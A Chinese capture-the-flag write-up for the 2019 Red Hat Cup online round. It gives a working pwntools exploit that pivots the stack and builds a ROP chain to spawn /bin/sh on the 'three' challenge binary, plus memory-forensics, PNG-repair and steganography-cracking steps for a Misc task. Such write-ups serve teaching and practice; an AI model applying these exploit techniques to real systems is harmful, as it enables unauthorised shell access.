2019年第三届红帽杯线上赛wp

2019年第三届红帽杯线上赛wp

PWN

three

IDA打开之后,函数名都是sub_xxx,然后通过nc官方部署的程序(或本地在程序所在目录创建flag文件后),获得程序中会出现的字符串定位到了重要函数,我用的是字符串Maybe is good

贴出来一下重要函数对应的内存地址:

函数名(已重命名)内存地址
main0x08048CA8
load_flag0x080488C5
Maybe_is_good0x0804897E
main_method0x08048B5C

四者结构如图:

四者结构

load_flag里面需要加载flag文件,如果没有就exit,也就是一开始无法本地打开原因。

Maybe_is_good 里面没有特别的,关键在main_method,先贴出完整代码(以重名部分函数&注释)

gdb调试:‘very much’ 后输入 ‘aaa’,‘tell me’ 后输入 ‘bbbbbbbbbbb······’。可以看到eax被写入了’aaa’,ecx被写入了’bbbbbbbbbbbbbbbbbbb····’

然后就是第22行代码,看不懂就查汇编,对应的汇编是call eax。就是当eax是函数来调用。结合前面的eax会被覆写为输入值,就可以进行ROP

攻击大致流程如下:

  1. eax被覆写为payload1
  2. 写入payload2
  3. call eax
  4. int80_call
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *


context.log_level = 'debug'
elf = ELF('./pwn')
# 'ldd ./pwn' get libc.so
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

sh = process('./pwn')
sh.sendlineafter('index:\n', str(0)) # 0<=x<=31

payload = asm('''
xchg ecx, esp
ret
''',arch = 'i386')
sh.sendafter(' much!\n', payload)

sh.sendlineafter('size:\n', str(512)) # 0<=x<=512,x>payload

# ROPgadget
layout = [
    0x08072fb1, #: pop edx; pop ecx; pop ebx; ret; 
    0,
    0,
    0x80f6d40, # '/bin/sh\0' address
    0x080c11e6, #: pop eax; ret; 
    11, # len '/bin/sh\0'
    0x080738c0, #: int 0x80; ret; 
]
sh.sendafter('me:\n', flat(layout).ljust(0x80, '\0') + '/bin/sh\0')

sh.interactive()

EXP解释

  • 13、21行两个数值可在注释范围内调整
  • payload是交换ecx、esp两个寄存器的值
  • layout里面是gadget,向int_80传参
  • int_80的作用类似于system,具体看这里
    • https://blog.csdn.net/fivedoumi/article/details/53184797
    • https://blog.csdn.net/maowenl/article/details/32309683
    • https://www.cnblogs.com/caesarxu/p/3261232.html

最后:官方wp解法是交换ecx、esp的内容之后,利用返回值是1还是2,来逐个字节爆破得出flag。

Mics

Advertising for Marriage

内存取证题目。题目给出的是raw文件,这个文件不是图片的那个raw。。。初次之外内存取证还有dmg文件。利用的分析工具最主要是volatility

首先查看镜像信息:volatility -f Advertising\ for\ Marriage.raw imageinfo

使用 WinXPSP2x86 预设。然后就是查进程:volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 pslist

存在记事本进程,查一查有什么:volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 notepad

提示:hint:????needmoneyandgirlfirend

扫描所有png文件:volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 filescan|grep png

找到一张 png 图片:vegetable.png。导出图片:volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 dumpfiles -D . -Q 0x000000000249ae78

图片无法显示,报错:IHDR: CRC ERROR

估计图片尺寸被修改了。

用脚本计算图片实际长度和宽度,并且生成修复后的图片。

import os
import binascii
import struct

img = open("vegetable.png", "rb").read()

for w in range(1024):
    for h in range(1024):
        data = img[0xc:0x10] + struct.pack('>i',w) + struct.pack('>i',h) + img[0x18:0x1d]
        crc32 = binascii.crc32(data) & 0xffffffff
        if crc32 == struct.unpack('>i',img[0x1d:0x21])[0] & 0xffffffff:
            print w, h
            print hex(w), hex(h)
            open("vegetable_new.png", "wb").write(img[:0xc] + data + img[0x1d:])
            exit()

Stegsolve 查看图片,找到模糊的 flag,一般情况较难恢复。同时,也发现 lsb 有点东西。

解密需要密钥,密钥为上面记事本找到的提示:????needmoneyandgirlfirend,需要魔改工具爆破前 4 字节。

爆破得到密钥 b1cxneedmoneyandgirlfirend,这里给出自己写的破解脚本,需要把lsb加密库clone 下载,然后把脚本丢里面运行

#coding:utf-8
import os
import string

# creat password
password = []
pd_element =  list(string.ascii_letters) + list(string.digits)
for i in pd_element:
	if i != 'b':
		continue
	for j in pd_element:
		#if j != '1':
			#continue
		for k in pd_element:
			for m in pd_element:
				password.append(i+j+k+m+"needmoneyandgirlfirend")
				#pd = i+j+k+m+"needmoneyandgirlfirend"
				#print "password = %s " %pd

n = 0
file_name = '2.png' # 解密的图片
out_file_1 = 'out.txt' # lsb中间文件
out_file_2 = 'result.txt' # result结果记录文件
for pd in password:
	out_data_2= open(out_file_2,'a')
	pd = 'b1cxneedmoneyandgirlfirend'
	try:
		print "total try {} times\ntrying: {}".format(n,pd)
		argv = r'python lsb.py extract ' + file_name  + ' ' + out_file_1 + ' '+ pd 
		lsb  =  os.popen(argv,'r')
		data = lsb.read()
		lsb.close()
		print "{} SUCCESS".format(pd)
		out_data_1 = open(out_file_1,'r')
		data = out_data_1.read().strip('\n')
		out_data_2.write(data+'\n')
		n += 1
		break
	except:
		print "{} ERROR".format(pd)
		n += 1
	out_data_2.close()

解密图片隐写信息,得到字符串:VmlyZ2luaWEgY2lwaGVydGV4dDpnbnh0bXdnN3IxNDE3cHNlZGJzNjI1ODdoMA==

base64 解码得到:Virginia ciphertext:gnxtmwg7r1417psedbs62587h0

然后再使用在线维吉尼亚密码解密:密钥b1cxneedmoneyandgirlfirend

解密得到: flagisd7f1417bfafbf62587e0

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值